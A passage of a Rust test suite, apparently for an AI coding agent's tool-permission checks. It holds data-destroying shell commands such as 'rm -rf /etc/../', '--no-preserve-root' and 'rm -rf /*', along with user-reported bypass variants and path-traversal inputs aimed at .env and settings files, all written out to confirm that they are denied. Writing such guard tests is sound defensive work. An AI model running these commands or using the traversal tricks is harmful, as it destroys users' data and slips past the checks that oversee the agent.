1982 t("rm -rf /var/log/../../").is_deny();
1983 // Root via /./
1984 t("rm -rf /./").is_deny();
1985 t("rm -rf /.").is_deny();
1986 // Double slash (equivalent to /)
1987 t("rm -rf //").is_deny();
1988 // Home traversal via ~/./
1989 t("rm -rf ~/./").is_deny();
1990 t("rm -rf ~/.").is_deny();
1991 // Dot traversal via indirect paths
1992 t("rm -rf ./foo/..").is_deny();
1993 t("rm -rf ../foo/..").is_deny();
1994 // Traversal in chained commands
1995 t("ls && rm -rf /tmp/../../").is_deny();
1996 t("echo hello; rm -rf /./").is_deny();
1997 // Traversal cannot be bypassed by global or allow patterns
1998 t("rm -rf /tmp/../../")
1999 .global_default(ToolPermissionMode::Allow)
2000 .is_deny();
2001 t("rm -rf /./").allow(&[".*"]).is_deny();
2002 // Safe paths with traversal should still be allowed
2003 t("rm -rf /tmp/../tmp/foo")
2004 .mode(ToolPermissionMode::Allow)
2005 .is_allow();
2006 t("rm -rf ~/Documents/./subdir")
2007 .mode(ToolPermissionMode::Allow)
2008 .is_allow();
2009 }
2010
2011 #[test]
2012 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
2013 t("rm -rf /tmp /").is_deny();
2014 t("rm -rf /tmp/foo /").is_deny();
2015 t("rm -rf /var/log ~").is_deny();
2016 t("rm -rf /safe $HOME").is_deny();
2017 }
2018
2019 #[test]
2020 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
2021 t("rm -rf / /tmp").is_deny();
2022 t("rm -rf ~ /var/log").is_deny();
2023 t("rm -rf . /tmp/foo").is_deny();
2024 t("rm -rf .. /safe").is_deny();
2025 }
2026
2027 #[test]
2028 fn hardcoded_allows_rm_multi_path_all_safe() {
2029 t("rm -rf /tmp /home/user")
2030 .mode(ToolPermissionMode::Allow)
2031 .is_allow();
2032 t("rm -rf ./build ./dist")
2033 .mode(ToolPermissionMode::Allow)
2034 .is_allow();
2035 t("rm -rf /var/log/app /tmp/cache")
2036 .mode(ToolPermissionMode::Allow)
2037 .is_allow();
2038 }
2039
2040 #[test]
2041 fn hardcoded_blocks_rm_multi_path_with_traversal() {
2042 t("rm -rf /safe /tmp/../../").is_deny();
2043 t("rm -rf /tmp/../../ /safe").is_deny();
2044 t("rm -rf /safe /var/log/../../").is_deny();
2045 }
2046
2047 #[test]
2048 fn hardcoded_blocks_user_reported_bypass_variants() {
2049 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
2050 t("rm -rf /etc/../").is_deny();
2051 t("rm -rf /etc/..").is_deny();
2052 // User report: --no-preserve-root (without =value) should not bypass
2053 t("rm -rf --no-preserve-root /").is_deny();
2054 t("rm --no-preserve-root -rf /").is_deny();
2055 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
2056 t("rm -rf /*").is_deny();
2057 // Chained with sudo
2058 t("sudo rm -rf /").is_deny();
2059 t("sudo rm -rf --no-preserve-root /").is_deny();
2060 // Traversal cannot be bypassed even with global allow or allow patterns
2061 t("rm -rf /etc/../")
2062 .global_default(ToolPermissionMode::Allow)
2063 .is_deny();
2064 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
2065 t("rm -rf --no-preserve-root /")
2066 .global_default(ToolPermissionMode::Allow)
2067 .is_deny();
2068 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
2069 }
2070
2071 #[test]
2072 fn normalize_path_relative_no_change() {
2073 assert_eq!(normalize_path("foo/bar"), "foo/bar");
2074 }
2075
2076 #[test]
2077 fn normalize_path_relative_with_curdir() {
2078 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
2079 }
2080
2081 #[test]
2082 fn normalize_path_relative_with_parent() {
2083 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
2084 }
2085
2086 #[test]
2087 fn normalize_path_absolute_preserved() {
2088 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
2089 }
2090
2091 #[test]
2092 fn normalize_path_absolute_with_traversal() {
2093 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
2094 }
2095
2096 #[test]
2097 fn normalize_path_root() {
2098 assert_eq!(normalize_path("/"), "/");
2099 }
2100
2101 #[test]
2102 fn normalize_path_parent_beyond_root_clamped() {
2103 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
2104 }
2105
2106 #[test]
2107 fn normalize_path_curdir_only() {
2108 assert_eq!(normalize_path("."), "");
2109 }
2110
2111 #[test]
2112 fn normalize_path_empty() {
2113 assert_eq!(normalize_path(""), "");
2114 }
2115
2116 #[test]
2117 fn normalize_path_relative_traversal_above_start() {
2118 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
2119 }
2120
2121 #[test]
2122 fn normalize_path_relative_traversal_with_curdir() {
2123 assert_eq!(normalize_path("../../."), "../..");
2124 }
2125
2126 #[test]
2127 fn normalize_path_relative_partial_traversal_above_start() {
2128 assert_eq!(normalize_path("foo/../../bar"), "../bar");
2129 }
2130
2131 #[test]
2132 fn most_restrictive_deny_vs_allow() {
2133 assert!(matches!(
2134 most_restrictive(
2135 ToolPermissionDecision::Deny("x".into()),
2136 ToolPermissionDecision::Allow
2137 ),
2138 ToolPermissionDecision::Deny(_)
2139 ));
2140 }
2141
2142 #[test]
2143 fn most_restrictive_allow_vs_deny() {
2144 assert!(matches!(
2145 most_restrictive(
2146 ToolPermissionDecision::Allow,
2147 ToolPermissionDecision::Deny("x".into())
2148 ),
2149 ToolPermissionDecision::Deny(_)
2150 ));
2151 }
2152
2153 #[test]
2154 fn most_restrictive_deny_vs_confirm() {
2155 assert!(matches!(
2156 most_restrictive(
2157 ToolPermissionDecision::Deny("x".into()),
2158 ToolPermissionDecision::Confirm
2159 ),
2160 ToolPermissionDecision::Deny(_)
2161 ));
2162 }
2163
2164 #[test]
2165 fn most_restrictive_confirm_vs_deny() {
2166 assert!(matches!(
2167 most_restrictive(
2168 ToolPermissionDecision::Confirm,
2169 ToolPermissionDecision::Deny("x".into())
2170 ),
2171 ToolPermissionDecision::Deny(_)
2172 ));
2173 }
2174
2175 #[test]
2176 fn most_restrictive_deny_vs_deny() {
2177 assert!(matches!(
2178 most_restrictive(
2179 ToolPermissionDecision::Deny("a".into()),
2180 ToolPermissionDecision::Deny("b".into())
2181 ),
2182 ToolPermissionDecision::Deny(_)
2183 ));
2184 }
2185
2186 #[test]
2187 fn most_restrictive_confirm_vs_allow() {
2188 assert_eq!(
2189 most_restrictive(
2190 ToolPermissionDecision::Confirm,
2191 ToolPermissionDecision::Allow
2192 ),
2193 ToolPermissionDecision::Confirm
2194 );
2195 }
2196
2197 #[test]
2198 fn most_restrictive_allow_vs_confirm() {
2199 assert_eq!(
2200 most_restrictive(
2201 ToolPermissionDecision::Allow,
2202 ToolPermissionDecision::Confirm
2203 ),
2204 ToolPermissionDecision::Confirm
2205 );
2206 }
2207
2208 #[test]
2209 fn most_restrictive_allow_vs_allow() {
2210 assert_eq!(
2211 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2212 ToolPermissionDecision::Allow
2213 );
2214 }
2215
2216 #[test]
2217 fn decide_permission_for_path_no_dots_early_return() {
2218 // When the path has no `.` or `..`, normalize_path returns the same string,
2219 // so decide_permission_for_path returns the raw decision directly.
2220 let settings = test_agent_settings(ToolPermissions {
2221 default: ToolPermissionMode::Confirm,
2222 tools: Default::default(),
2223 });
2224 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2225 assert_eq!(decision, ToolPermissionDecision::Confirm);
2226 }
2227
2228 #[test]
2229 fn decide_permission_for_path_traversal_triggers_deny() {
2230 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2231 let mut tools = collections::HashMap::default();
2232 tools.insert(
2233 Arc::from(EditFileTool::NAME),
2234 ToolRules {
2235 default: Some(ToolPermissionMode::Allow),
2236 always_allow: vec![],
2237 always_deny: vec![deny_regex],
2238 always_confirm: vec![],
2239 invalid_patterns: vec![],
2240 },
2241 );
2242 let settings = test_agent_settings(ToolPermissions {
2243 default: ToolPermissionMode::Confirm,
2244 tools,
2245 });
2246
2247 let decision =
2248 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2249 assert!(
2250 matches!(decision, ToolPermissionDecision::Deny(_)),
2251 "expected Deny for traversal to /etc/passwd, got {:?}",
2252 decision
2253 );
2254 }
2255
2256 #[test]
2257 fn normalize_path_collapses_dot_segments() {
2258 assert_eq!(
2259 normalize_path("src/../.zed/settings.json"),
2260 ".zed/settings.json"
2261 );
2262 assert_eq!(normalize_path("a/b/../c"), "a/c");
2263 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2264 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2265 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2266 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2267 }
2268
2269 #[test]
2270 fn normalize_path_handles_multiple_parent_dirs() {
2271 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2272 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2273 }
2274
2275 fn path_perm(
2276 tool: &str,
2277 input: &str,
2278 deny: &[&str],
2279 allow: &[&str],
2280 confirm: &[&str],
2281 ) -> ToolPermissionDecision {
2282 let mut tools = collections::HashMap::default();
2283 tools.insert(
2284 Arc::from(tool),
2285 ToolRules {
2286 default: None,
2287 always_allow: allow
2288 .iter()
2289 .map(|p| {
2290 CompiledRegex::new(p, false)
2291 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2292 })
2293 .collect(),
2294 always_deny: deny
2295 .iter()
2296 .map(|p| {
2297 CompiledRegex::new(p, false)
2298 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2299 })
2300 .collect(),
2301 always_confirm: confirm
2302 .iter()
2303 .map(|p| {
2304 CompiledRegex::new(p, false)
2305 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2306 })
2307 .collect(),
2308 invalid_patterns: vec![],
2309 },
2310 );
2311 let permissions = ToolPermissions {
2312 default: ToolPermissionMode::Confirm,
2313 tools,
2314 };
2315 let raw_decision = ToolPermissionDecision::from_input(
2316 tool,
2317 &[input.to_string()],
2318 &permissions,
2319 ShellKind::Posix,
2320 );
2321
2322 let simplified = normalize_path(input);
2323 if simplified == input {
2324 return raw_decision;
2325 }
2326
2327 let simplified_decision =
2328 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2329
2330 most_restrictive(raw_decision, simplified_decision)
2331 }
2332
2333 #[test]
2334 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2335 let decision = path_perm(
2336 "copy_path",
2337 "src/../.zed/settings.json",
2338 &["^\\.zed/"],
2339 &[],
2340 &[],
2341 );
2342 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2343 }
2344
2345 #[test]
2346 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2347 let decision = path_perm(
2348 "copy_path",
2349 "src/../.zed/settings.json",
2350 &[],
2351 &[],
2352 &["^\\.zed/"],
2353 );
2354 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2355 }
2356
2357 #[test]
2358 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2359 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2360 assert!(matches!(decision, ToolPermissionDecision::Allow));
2361 }
2362
2363 #[test]
2364 fn decide_permission_for_path_most_restrictive_wins() {
2365 let decision = path_perm(
2366 "copy_path",
2367 "allowed/../.zed/settings.json",
2368 &["^\\.zed/"],
2369 &["^allowed/"],
2370 &[],
2371 );
2372 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2373 }
2374
2375 #[test]
2376 fn decide_permission_for_path_dot_segment_only() {
2377 let decision = path_perm(
2378 "delete_path",
2379 "./.zed/settings.json",
2380 &["^\\.zed/"],
2381 &[],
2382 &[],
2383 );
2384 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2385 }
2386
2387 #[test]
2388 fn decide_permission_for_path_no_change_when_already_simple() {
2389 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2390 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2391 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2392 }
2393
2394 #[test]
2395 fn decide_permission_for_path_raw_deny_still_works() {
2396 // Even without traversal, if the raw path itself matches deny, it's denied
2397 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2398 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2399 }
2400
2401 #[test]
2402 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2403 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2404 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2405 }
2406}